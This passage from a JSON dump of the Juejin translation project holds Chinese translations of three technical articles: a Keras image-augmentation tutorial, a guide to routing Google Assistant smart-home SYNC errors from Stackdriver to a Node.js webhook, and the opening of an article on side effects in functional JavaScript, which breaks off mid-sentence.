达到这一目的。\n\n首先，可以在类实例化时传入特定的参数到构造函数来配置对应的增强方法。\n\n该类支持一系列的增强方法，包括像素值的缩放，但是我们只关注以下五种主要的图像数据增强方法：\n\n*   通过 _`width_shift_range`_ 和 _`height_shift_range`_ 参数设置图像平移。\n*   通过 _rotation_range_ 参数设置图像翻转。\n*   通过 _brightness_range_ 参数设置图像亮度。\n*   通过 _zoom_range_ 参数设置图像缩放。\n\n一个通过构造函数实例化 ImageDataGenerator 的例子。\n\n```python\n# 创建数据生成器\ndatagen = ImageDataGenerator()\n```\n\n一旦构造完成，这个数据集的迭代器就被创建了。\n\n这个迭代器每次迭代会返回一个批次的增强数据。\n\n利用 _flow()_ 函数可以将读入了内存的数据集创建为一个迭代器，示例代码如下：\n\n```python\n# 读取图片数据集\nX, y = ...\n# 创建迭代器\nit = dataset.flow(X, y)\n```\n\n或者，可以对指定的文件路径的数据集创建一个迭代器，在这个文件夹中，不同子类的数据需要存放到不同的子文件夹中。\n\n```python\n...\n# 创建迭代器\nit = dataset.flow_from_directory(X, y, ...)\n```\n\n迭代器创建完成后，可以通过调用 _fit_generator()_ 函数来训练神经网络。\n\n_`steps_per_epoch`_ 参数需要设定为能包含整个数据集的批次数。举个例子，如果你的原始数据是 10000 张图片，同时你的 batch_size 设置为 32，那么当你训练一个基于增强数据的模型时，一个合理的 _`steps_per_epoch`_ 应该设置为 _ceil(10,000/32)_，或者说 313 个批次。\n\n```python\n# 定义模型\nmodel = ...\n# 在增强数据集上拟合模型\nmodel.fit_generator(it, steps_per_epoch=313, ...)\n```\n\n数据集中的图片并没有被直接使用，而是将增强后的图片提供给模型。由于增强的图片表现是随机的，容许修改后的图片以及接近原图（例如，几乎没有增强的图片）的数据被生成并在训练中使用。\n\n数据的生成器也可以使用在验证集和测试集上。通常来说，用于验证集和测试集的 _ImageDataGenerator_ 会和训练集的 _ImageDataGenerator_ 有相同的像素值缩放配置（本教程未涉及），但是不会涉及到数据增强。这是因为数据增强的目的是为了可以人工的扩充训练数据集的数量，进而去提高模型在未做增强的数据集上的表现。\n\n现在我们已经熟悉了 _ImageDataGenerator_ 的用法，那么我去看几个具体的针对于图像数据的增强方法。\n\n我们会单独的展示每一种方法增强后的图片效果图。这是一种很好的事件方式，建议在在配置你们自己的数据增强时也这么做。在训练过程中，同时采用好几种增强方法也是很常见的。这里为了达到展示的效果，我们分章节单独的讨论每一个增强方法。\n\n## 水平和垂直平移增强\n\n平移意味着将图片上的所有像素沿着某一个方向移动，可以是水平或者垂直，同时要保证大小没有变化。\n\n这也意味着一些原有的像素点会被移出图片，那么就会有一块区域的像素值需要重新指定。\n\n_`width_shift_range`_ 和 _`height_shift_range`_ 两个参数分别用来控制水平和垂直方向平移的大小，它们是在 _ImageDataGenerator_ 类被构造的时候传入的。\n\n这两个参数可以被指定为一个 0 到 1 之间的小数，代表着平移距离相对于宽度或者高度的百分比。或者，也可以被指定为一个确切的像素值。\n\n具体来说，实际的平移值会在没有平移和百分比（或者具体的像素值）之间选取一个，用该值来处理图片，距离来说，就是在 [0, value] 之间选择。或者，你可以传入一组指定的元组或数组，确定具体的最大和最小值来进行采样，举个例子：[-100, 100] 或者 [-0.5, 0.5]。\n\n下面展示的就是一个将平移参数 _`width_shift_range`_ 设置为 [-200, 200] 像素，并画出对应结果的代码。\n\n```Python\n# 水平平移增强的例子\nfrom numpy import expand_dims\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom matplotlib import pyplot\n# 读入图片\nimg = load_img('bird.jpg')\n# 转换为 numpy 数组\ndata = img_to_array(img)\n# 扩展维度\nsamples = expand_dims(data, 0)\n# 生成数据增强迭工厂\ndatagen = ImageDataGenerator(width_shift_range=[-200,200])\n# 准备迭代器\nit = datagen.flow(samples, batch_size=1)\n# 生成数据并画图\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 生成一个批次图片\n\tbatch = it.next()\n\t# 转换为无符号整型方便显示\n\timage = batch[0].astype('uint32')\n\t# 画图\n\tpyplot.imshow(image)\n# 展示图片\npyplot.show()\n```\n\n执行这段代码，通过配置 _ImageDataGenerator_ 会生成一个图片增强实例，并创建一个迭代器。这个迭代器会在一个循环中被执行 9 次并画出每一次经过增强后的图片。\n\n我通过观察画出的结果可以发现，图片会进行随机的正向或者负向的平移，同时平移带来的空白区域会使用边缘区域的像素来填充。\n\n![平移数据增强的结果](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Plot-of-Augmented-Images-with-a-Horizontal-Shift.png)\n\n随机平移数据增强结果图\n\n下面是类似的例子，通过调整 _`height_shift_range`_ 参数实现垂直平移，其中该参数被设置为 0.5。\n\n```Python\n# 垂直平移增强的例子\nfrom numpy import expand_dims\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom matplotlib import pyplot\n# 读图\nimg = load_img('bird.jpg')\n# convert to numpy array\ndata = img_to_array(img)\n# 扩展维度\nsamples = expand_dims(data, 0)\n# 创建一个生成器\ndatagen = ImageDataGenerator(height_shift_range=0.5)\n# 准备迭代器\nit = datagen.flow(samples, batch_size=1)\n# 生成样本和画图\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 生成一个批次的图片\n\tbatch = it.next()\n\t# 转换为整形显示\n\timage = batch[0].astype('uint32')\n\t# 画图\n\tpyplot.imshow(image)\n# 显示\npyplot.show()\n```\n\n运行这段代码，就可以随机的产生通过正向或者负向平移的增强图片。\n\n可以发现水平位移或者垂直位移，不论是正向平或者负向都可以有效的增强对应的图片，但是那些被重新填充的部分对模型就没什么意义了。\n\n值得一提的是，其他的填充方式是可以通过 “_fill_mode_” 参数来指定的。\n\n![Plot of Augmented Images With a Random Vertical Shift](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Plot-of-Augmented-Images-with-a-Vertical-Shift.png)\n\n垂直随机平移的效果图\n\n## 水平和垂直翻转增强\n\n图片的翻转就是在垂直翻转时颠倒所有行的像素值，在水平翻转时颠倒所有列的像素值。\n\n翻转的参数是构造 _ImageDataGenerator_ 类时，分别通过 boolean 型的参数 _horizontal_flip_ 或者 _vertical_flip_ 来指定的。针对于之前提到的鸟的图片，水平翻转是有意义的，而垂直翻转是没什么意义的。\n\n而对于航拍图片、天文图片和显微图片而言，垂直翻转很大可能是有效的。\n\n下面的例子就是通过控制 _horizontal_flip_ 参数来实现图片翻转增强的例子。\n\n```Python\n# 水平翻转示例\nfrom numpy import expand_dims\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom matplotlib import pyplot\n# 读图\nimg = load_img('bird.jpg')\n# 转为 numpy 数组\ndata = img_to_array(img)\n# 扩展维度\nsamples = expand_dims(data, 0)\n# 创建生成器\ndatagen = ImageDataGenerator(horizontal_flip=True)\n# 准备迭代器\nit = datagen.flow(samples, batch_size=1)\n# 生成图片并画图\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 生成一个批次图片\n\tbatch = it.next()\n\t# 转化为整型方便显示\n\timage = batch[0].astype('uint32')\n\t# 画图\n\tpyplot.imshow(image)\n# 显示\npyplot.show()\n```\n\n执行这段程序会产生 9 张增强后的图片。\n\n我们会发现水平的翻转只是在一部分的图片上被使用了。\n\n![Plot of Augmented Images With a Random Horizontal Flip](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Plot-of-Augmented-Images-with-a-Horizontal-Flip.png)\n\n随机水平翻转的增强结果\n\n## 随机旋转增强\n\n旋转增强是随机的对图片进行 0 到 360 度的顺时针旋转。\n\n旋转也会导致部分的数据被移出图片框，会产生一些没有像素值的区域，这些区域也需要被填充\n\n\n下面的例子通过控制 _rotation_range_ 参数在 0 到 90 度之间去旋转图片，来展示随机旋转增强的效果。\n\n```Python\n# 旋转增强示例\nfrom numpy import expand_dims\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom matplotlib import pyplot\n# 读图\nimg = load_img('bird.jpg')\n# 转为 numpy 数组\ndata = img_to_array(img)\n# 扩展维度\nsamples = expand_dims(data, 0)\n# 创建生成器\ndatagen = ImageDataGenerator(rotation_range=90)\n# 准备迭代器\nit = datagen.flow(samples, batch_size=1)\n# 生成图片并画图\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 生成一个批次图片\n\tbatch = it.next()\n\t# 转化为整型方便显示\n\timage = batch[0].astype('uint32')\n\t# 画图\n\tpyplot.imshow(image)\n# 显示\npyplot.show()\n```\n\n执行这个例子，会产生旋转图片的示例，其中空白区域是通过最邻近法进行填充的。\n\n![Plot of Images Generated With a Random Rotation Augmentation](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Plot-of-Images-Generated-with-a-Rotation-Augmentation.png)\n\n随机旋转增强的结果图\n\n## 随机亮度增强\n\n图片的亮度增强可以是使图片变亮、使图片变暗或者兼顾两者。\n\n这样是为了使模型在训练过程中覆盖不同的亮度水平。\n\n我可以在 _ImageDataGenerator()_ 的构造函数中传入 _brightness_range_ 参数来指定一个最大值和最小值范围来选择一个亮度数值。\n\n值小于 1.0 的时候，会变暗图片，如 [0.5 , 1.0]，相反的，值大于 1.0 时，会使图片变亮，如 [1.0,1.5]，当值为 1.0 时，亮度不会变化。\n\n下面的例子展示了亮度在 0.2（20%） 到 1 之间变化的随机亮度增强的效果。\n\n```python\n# 亮度增强示例\nfrom numpy import expand_dims\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom matplotlib import pyplot\n# 读图\nimg = load_img('bird.jpg')\n# 转为 numpy 数组\ndata = img_to_array(img)\n# 扩展维度\nsamples = expand_dims(data, 0)\n# 创建生成器\ndatagen = ImageDataGenerator(brightness_range=[0.2,1.0])\n# 准备迭代器\nit = datagen.flow(samples, batch_size=1)\n# 生成图片并画图\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 生成一个批次图片\n\tbatch = it.next()\n\t# 转化为整型方便显示\n\timage = batch[0].astype('uint32')\n\t# 画图\n\tpyplot.imshow(image)\n# 显示\npyplot.show()\n```\n\n运行示例你会看到不同数值调暗图片的效果。\n\n![Plot of Images Generated With a Random Brightness Augmentation](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Plot-of-Augmented-Images-with-a-Brightness-Augmentation.png)\n\n随机亮度增强生成的图片\n\n## 随机缩放增强\n\n缩放增强就是随机的缩放图片，利用在图片周围新增像素或者插值来实现。\n\n在 _ImageDataGenerator_ 类的构造函数内传入 _zoom_range_ 来配置缩放的尺度。该参数可以是一个浮点数也可以是数组或者元组。\n\n如果指定为一个浮点数，那么缩放的范围是 [1 - value , 1 + value] 之间。举个例子，如果你设置的参数为 0.3，那么你的缩放范围就是 [0.7, 1.3] 之间，换言之就是 70% （放大）到 130%（缩小）之间。\n\n缩放量是从缩放区域中对每个维度（宽，高）分别均匀随机抽样得到的。\n\n缩放参数有点不直观。需要明白一点，当数值小于 1.0 时图片会放大，如 [ 0.5 , 0.5] 会使图片中的目标变大或者拉近 50%，同样的，如果数值大于 1.0 时，图拼啊会被缩小 50%，如 [ 1.5 , 1.5 ] 目标会被缩小到或者拉远。当系数为 1.0 时，图片不会有什么变化。\n\n下面的例子展示了让图片中目标变大的例子。\n\n```python\n# 尺度缩放增强示例\nfrom numpy import expand_dims\nfrom keras.preprocessing.image import load_img\nfrom keras.preprocessing.image import img_to_array\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom matplotlib import pyplot\n# 读图\nimg = load_img('bird.jpg')\n# 转为 numpy 数组\ndata = img_to_array(img)\n# 扩展维度\nsamples = expand_dims(data, 0)\n# 创建生成器\ndatagen = ImageDataGenerator(zoom_range=[0.5,1.0])\n# 准备迭代器\nit = datagen.flow(samples, batch_size=1)\n# 生成图片并画图\nfor i in range(9):\n\t# 定义子图\n\tpyplot.subplot(330 + 1 + i)\n\t# 生成一个批次图片\n\tbatch = it.next()\n\t# 转化为整型方便显示\n\timage = batch[0].astype('uint32')\n\t# 画图\n\tpyplot.imshow(image)\n# 显示\npyplot.show()\n```\n\n运行示例就可以得到缩放图片，该图片展示了一个在宽和高尺度变化不同的例子，由于宽高的缩放尺度不同，图像的纵横比也会发生变化。\n\n![Plot of Images Generated With a Random Zoom Augmentation](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/01/Plot-of-Augmented-Images-with-a-Zoom-Augmentation.png)\n\n随机缩放增强的效果图\n\n## 扩展阅读\n\n该部分会提供更多的资源供你进一步的学习。\n\n### 出版物\n*   [Image Augmentation for Deep Learning With Keras](https://machinelearningmastery.com/image-augmentation-deep-learning-keras/)\n\n### API\n\n*   [Image Preprocessing Keras API](https://keras.io/preprocessing/image/)\n*   [Keras Image Preprocessing Code](https://github.com/keras-team/keras-preprocessing/blob/master/keras_preprocessing/image/affine_transformations.py)\n*   [Sequential Model API](https://keras.io/models/sequential/)\n\n### 文章\n\n*   [Building powerful image classification models using very little data, Keras Blog](https://blog.keras.io/building-powerful-image-classification-models-using-very-little-data.html).\n\n## 总结\n\n本教程带你探索了图像数据增强在模型训练时的应用。\n\n你应该有以下收获：\n\n*   图像数据增强是为了扩展训练数据集，从而提高模型的性能和泛化能力。\n*   通过使用 ImageDataGenerator 类，你可以在 Keras 上获得图像数据增强的支持。\n*   如何使用平移、翻转、亮度和缩放增强方法。\n\n还有别的问题？\n请在下方留言，我会尽我所能回答你的问题。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 \n"
  },
  {
    "path": "TODO1/how-to-connect-stackdriver-to-your-smart-home-server-for-error-logging.md",
    "content": "> * 原文地址：[How to connect Stackdriver to your smart home server for error logging](https://medium.com/google-developers/how-to-connect-stackdriver-to-your-smart-home-server-for-error-logging-8a7a477241c2)\n> * 原文作者：[Nick Felker](https://medium.com/@fleker?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-connect-stackdriver-to-your-smart-home-server-for-error-logging.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-connect-stackdriver-to-your-smart-home-server-for-error-logging.md)\n> * 译者：[Starriers](https://github.com/Starriers)\n\n# 如何将 Stackdriver 连接到智能家居服务器以进行错误记录\n\n当[你的智能家居设备与 Google Assistant 集成](http://developers.google.com/smarthome)时，你可能会遇到以下错误：“无法更新设置，请检查你的连接。”\n\n![](https://cdn-images-1.medium.com/max/800/1*r2idup5FQDZmC42mzmgI8Q.png)\n\n**Google Assistant 设置中报告的常见错误**\n\n这个错误可能源于账号连接和 SYNC 同步过程的许多原因。\n\n为了更好地了解这些错误，你可以使用 [Stackdriver](https://cloud.google.com/stackdriver/)，Google Cloud 的日志系统。当账户连接或随后的 SYNC 事件发生错误时，它会自动记录错误并向你提供信息。\n\n![](https://cdn-images-1.medium.com/max/1000/0*IJ00VIZ-VbVAVCDo)\n\n**可能来自堆栈驱动程序的错误报告消息的屏幕截图**\n\n你收到的日志会自动清除并移除任何个人可识别信息（PII），而且不会包含详细的追踪。\n\n启动时，你可以导航到项目的 Google Cloud 控制台，在抽屉导航的 **Stackdriver** 部分中选择 **Logging** 选项：\n\n![](https://cdn-images-1.medium.com/max/800/0*NmViOR5WTQg1EaMA)\n\n你可以通过 **Google Assistant Action > All version_id** 来查看专门为你的智能家居实现而出现的错误：\n\n![](https://cdn-images-1.medium.com/max/800/0*3V2nv9H5ixwHnHZZ)\n\n尽管很方便，但必须转到单独的页面去查看错误可能不适合你的开发流，而且它可能不会为你提供易于访问的数据，例如，包含在每周统计报表中的数据。让我们看看如何将你的日志从 Stackdriver 导出到你的基础设施中，让你在这些数据之上构建额外的集成。\n\n使用 Stackdriver，你可以设置包含带有特定过滤器的日志接收装置。这个接收装置中的日志可以通过 Cloud 发布/订阅发送到你拥有的端点。\n\n### 域名验证\n\n在将消息推送到端点之前，你需要验证你自己的域名。你可以通过 Google Cloud 控制台的 [**APIs & Services**](https://console.cloud.google.com/apis/credentials) 部分进行注册。\n\n![](https://cdn-images-1.medium.com/max/800/1*NnaTFrEa1aLKMHkUzcCwKw.png)\n\n在 **Credentials > Domain Verification** 下，添加一个域名。在添加完你自己的域名之后，你将被带到 Google 搜索控制。在继续操作之前，按照说明完成对你完整的验证：\n\n![](https://cdn-images-1.medium.com/max/800/0*xSL__AZHX5S-B5I2)\n\n### 配置发布/订阅\n\n使用[Google Cloud 发布/订阅](https://cloud.google.com/pubsub/)，你可以静任务配置为在某些事件上运行，例如，当新日志出现在 Stackdriver 中时，通过添加过滤器你可以限制触发事件的日志类型。你也可以配置服务器端点来订阅这些事件。\n\n要开始导出 SYNC 错误，请输入过滤器 “text:SYNC”，点击 **CREATE EXPORT** 按钮。在这里，你可以创建一个连接到 Google Cloud 发布/订阅的主题接收器。这将是你能够在每次出现日志条目时处理事件：\n\n![](https://cdn-images-1.medium.com/max/800/0*7BR2AOyLdL5T3nav)\n\n在抽屉导航中，打开发布/订阅概述，创建一个新的订阅：\n\n![](https://cdn-images-1.medium.com/max/800/0*_LSoY1bG3eenfsRN)\n\n这里，你可以新建一个订阅。对于交付类型，输入用于接收订阅的 URL。为了进行验证域名验证，你必须拥有自己的服务器：\n\n![](https://cdn-images-1.medium.com/max/800/0*h30i-CpLpUr6LnXR)\n\n在你的服务器上，为了接受端点，你需要添加一个处理器。在这个示例中，它是 **/alerts/stackdriver**。这是你服务器上的一个钩子。Cloud 发布/订阅会向 URL 发送一个在请求体重包含日志数据的 POST 请求。下面的代码片段显示了使用 Node.js 的实现：\n\n```\napp.post('/alerts/stackdriver', (req, res) => {\n  console.log('post stackdriver called', req.body);\n  res.status(204).send('success');\n  if (!!req.body.message && !!req.body.message.data) {\n    const data = Buffer.from(req.body.message.data, 'base64')\n      .toString('utf8');\n    console.log('data: ', data);\n    // optionally use regexp here to find request id and failure reason\n  }\n});\n```\n\n我们现在可以测试这个发布/订阅主题是否有效。在你的智能家居集成中，设置你的 SYNC 回复返回一个无效的设备类型，例如 **LART**。以下代码片段是这个响应示例：\n\n```\nconst app = smarthome();\napp.onSync(body => {\n  return {\n    requestId: body.requestId,\n    payload: {\n      agentUserId: '123',\n      devices: [{\n        type: 'action.devices.types.LART' \n        // More metadata\n      }]\n    }\n  }\n})\n```\n\n当你尝试连接你的账户时，你会在 Google Assistant 设置中看到一个错误，然后在 StackDriver 中看到与之对应的错误：\n\n![](https://cdn-images-1.medium.com/max/800/0*uQkduKOXIjQj58lH)\n\n![](https://cdn-images-1.medium.com/max/800/0*aIv-TNfo2xn2A5G9)\n\n在你的服务器中，你也会看到此错误正在被记录。当你遇到此错误时，你可以查看已发送的 SYNC，并确定该错误来自设备类型的错误。你可以通过修复返回此设备信息的字符串来修复 webhook 中的错误。你可以在以下代码片段中看到更正的内容：\n\n```\nconst app = smarthome();\n  app.onSync(body => {\n    return {\n      requestId: body.requestId,\n      payload: {\n        agentUserId: '123',\n        devices: [{\n          type: 'action.devices.types.LIGHT'\n          // More metadata\n        }]\n      }\n   }\n})\n```\n\n一旦你开始获取这些错误，你可以做许多事情来提高你的智能家居集成的可靠性，例如添加电子邮件警告或创建常见问题的仪表盘。通过及时发现这些问题并获取正在发生的事件的详细信息，你可以更快、更有信心地进行更正。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript.md",
    "content": "> - 原文地址：[HOW TO DEAL WITH DIRTY SIDE EFFECTS IN YOUR PURE FUNCTIONAL JAVASCRIPT](https://jrsinclair.com/articles/2018/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript/)\n> - 原文作者：[James Sinclair](https://jrsinclair.com/articles/2018/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript/)\n> - 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> - 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-deal-with-dirty-side-effects-in-your-pure-functional-javascript.md)\n> - 译者：[Gavin-Gong](https://github.com/Gavin-Gong)\n> - 校对者：[huangyuanzhen](https://github.com/huangyuanzhen), [AceLeeWinnie](https://github.com/AceLeeWinnie)\n\n# 如何使用纯函数式 JavaScript 处理脏副作用\n\n首先，假定你对函数式编程有所涉猎。用不了多久你就能明白**纯函数**的概念。随着深入了解，你会发现函数式程序员似乎对纯函数很着迷。他们说：“纯函数让你推敲代码”，“纯函数不太可能引发一场热核战争”，“纯函数提供了引用透明性”。诸如此类。他们说的并没有错，纯函数是个好东西。但是存在一个问题……\n\n纯函数是没有副作用的函数。<sup id=\"note-t-1\">[[1]](#note-f-1)</sup> 但如果你了解编程，你就会知道副作用是**关键**。如果无法读取 𝜋 值，为什么要在那么多地方计算它？为了把值打印出来，我们需要写入 console 语句，发送到 printer，或其他可以被读取到的**地方**。如果数据库不能输入任何数据，那么它又有什么用呢？我们需要从输入设备读取数据，通过网络请求信息。这其中任何一件事都不可能没有副作用。然而，函数式编程是建立在纯函数之上的。那么函数式程序员是如何完成任务的呢？\n\n简单来说就是，做数学家做的事情：欺骗。\n\n说他们欺骗吧，技术上又遵守规则。但是他们发现了这些规则中的漏洞，并加以利用。有两种主要的方法：\n\n1.  **依赖注入**，或者我们也可以叫它**问题搁置**\n2.  **使用 Effect 函子**，我们可以把它想象为**重度拖延**<sup id=\"note-t-2\">[[2]](#note-f-2)</sup> \n\n## 依赖注入\n\n依赖注入是我们处理副作用的第一种方法。在这种方法中，将代码中的不纯的部分放入函数参数中，然后我们就可以把它们看作是其他函数功能的一部分。为了解释我的意思，我们来看看一些代码：\n\n```js\n// logSomething :: String -> ()\nfunction logSomething(something) {\n  const dt = new Date().toIsoString();\n  console.log(`${dt}: ${something}`);\n  return something;\n}\n```\n\n`logSomething()` 函数有两个不纯的地方：它创建了一个 `Date()` 对象并且把它输出到控制台。因此，它不仅执行了 IO 操作, 而且每次运行的时候都会给出不同的结果。那么，如何使这个函数变纯？使用依赖注入，我们以函数参数的形式接受不纯的部分，因此 `logSomething()` 函数接收三个参数，而不是一个参数：\n\n```js\n// logSomething: Date -> Console -> String -> ()\nfunction logSomething(d, cnsl, something) {\n  const dt = d.toIsoString();\n  cnsl.log(`${dt}: ${something}`);\n  return something;\n}\n```\n\n然后调用它，我们必须自行明确地传入不纯的部分：\n\n```js\nconst something = \"Curiouser and curiouser!\";\nconst d = new Date();\nlogSomething(d, console, something);\n// ⦘ Curiouser and curiouser!\n```\n\n现在，你可能会想：“这样做有点傻逼。这样把问题变得更严重了，代码还是和之前一样不纯”。你是对的。这完全就是一个漏洞。\n\nYouTube 视频链接：https://youtu.be/9ZSoJDUD_bU\n\n这就像是在装傻：“噢！不！警官，我不知道在 `cnsl` 上调用 `log()` 会执行 IO 操作。这是别人传给我的。我不知道它从哪来的”，这看起来有点蹩脚。\n\n这并不像表面上那么愚蠢，注意我们的 `logSomething()` 函数。如果你要处理一些不纯的事情, 你就不得不把它**变得**不纯。我们可以简单地传入不同的参数：\n\n```js\nconst d = {toISOString: () => \"1865-11-26T16:00:00.000Z\"};\nconst cnsl = {\n  log: () => {\n    // do nothing\n  }\n};\nlogSomething(d, cnsl, \"Off with their heads!\");\n//  ￩ \"Off with their heads!\"\n```\n\n现在，我们的函数什么事情也没干，除了返回 `something` 参数。但是它是纯的。如果你用相同的参数调用它，它每次都会返回相同的结果。这才是重点。为了使它变得不纯，我们必须采取深思熟虑的行动。或者换句话说，函数依赖于右边的签名。函数无法访问到像 `console` 或者 `Date` 之类的全局变量。这样所有事情就很明确了。\n\n同样需要注意的是，我们也可以将函数传递给原来不纯的函数。让我们看一下另一个例子。假设表单中有一个 `username` 字段。我们想要从表单中取到它的值：\n\n```js\n// getUserNameFromDOM :: () -> String\nfunction getUserNameFromDOM() {\n  return document.querySelector(\"#username\").value;\n}\n\nconst username = getUserNameFromDOM();\nusername;\n// ￩ \"mhatter\"\n```\n\n在这个例子中，我们尝试去从 DOM 中查询信息。这是不纯的，因为 `document` 是一个随时可能改变的全局变量。把我们的函数转化为纯函数的方法之一就是把 全局 `document` 对象当作一个参数传入。但是我们也可以像这样传入一个 `querySelector()` 函数：\n\n```js\n// getUserNameFromDOM :: (String -> Element) -> String\nfunction getUserNameFromDOM($) {\n  return $(\"#username\").value;\n}\n\n// qs :: String -> Element\nconst qs = document.querySelector.bind(document);\n\nconst username = getUserNameFromDOM(qs);\nusername;\n// ￩ \"mhatter\"\n```\n\n现在，你可能还是会认为：“这样还是一样傻啊！” 我们所做只是把不纯的代码从 `getUsernameFromDOM()` 移出来而已。它并没有消失，我们只是把它放在了另一个函数 `qs()` 中。除了使代码更长之外，它似乎没什么作用。我们两个函数取代了之前一个不纯的函数，但是其中一个仍然不纯。\n\n别着急，假设我们想给 `getUserNameFromDOM()` 写测试。现在，比较一下不纯和纯的版本，哪个更容易编写测试？为了对不纯版本的函数进行测试，我们需要一个全局 `document` 对象，除此之外，还需要一个 ID 为 `username` 的元素。如果我想在浏览器之外测试它，那么我必须导入诸如 JSDOM 或无头浏览器之类的东西。这一切都是为了测试一个很小的函数。但是使用第二个版本的函数，我可以这样做：\n\n```js\nconst qsStub = () => ({value: \"mhatter\"});\nconst username = getUserNameFromDOM(qsStub);\nassert.strictEqual(\"mhatter\", username, `Expected username to be ${username}`);\n```\n\n现在，这并不意味着你不应该创建在真正的浏览器中运行的集成测试。（或者，至少是像 JSDOM 这样的模拟版本）。但是这个例子所展示的是 `getUserNameFromDOM()` 现在是完全可预测的。如果我们传递给它 qsStub 它总是会返回 `mhatter`。我们把不可预测转性移到了更小的函数 qs 中。\n\n如果我们这样做，就可以把这种不可预测性推得越来越远。最终，我们将它们推到代码的边界。因此，我们最终得到了一个由不纯代码组成的薄壳，它包围着一个测试友好的、可预测的核心。当您开始构建更大的应用程序时，这种可预测性就会起到很大的作用。\n\n### 依赖注入的缺点\n\n可以以这种方式创建大型、复杂的应用程序。我知道是 [因为我做过](https://www.squiz.net/technology/squiz-workplace)。\n依赖注入使测试变得更容易，也会使每个函数的依赖关系变得明确。但它也有一些缺点。最主要的一点是，你最终会得到类似这样冗长的函数签名：\n\n```js\nfunction app(doc, con, ftch, store, config, ga, d, random) {\n  // 这里是应用程序代码\n}\n\napp(document, console, fetch, store, config, ga, new Date(), Math.random);\n```\n\n这还不算太糟，除此之外你可能遇到参数钻井的问题。在一个底层的函数中，你可能需要这些参数中的一个。因此，您必须通过许多层的函数调用来连接参数。这让人恼火。例如，您可能需要通过 5 层中间函数传递日期。所有这些中间函数都不使用 date 对象。这不是世界末日，至少能够看到这些显式的依赖关系还是不错的。但它仍然让人恼火。这还有另一种方法……\n\n## 懒函数\n\n让我们看看函数式程序员利用的第二个漏洞。它像这样：“发生的副作用才是副作用”。我知道这听起来神秘的。让我们试着让它更明确一点。思考一下这段代码：\n\n```js\n// fZero :: () -> Number\nfunction fZero() {\n  console.log(\"Launching nuclear missiles\");\n  // 这里是发射核弹的代码\n  return 0;\n}\n```\n\n我知道这是个愚蠢的例子。如果我们想在代码中有一个 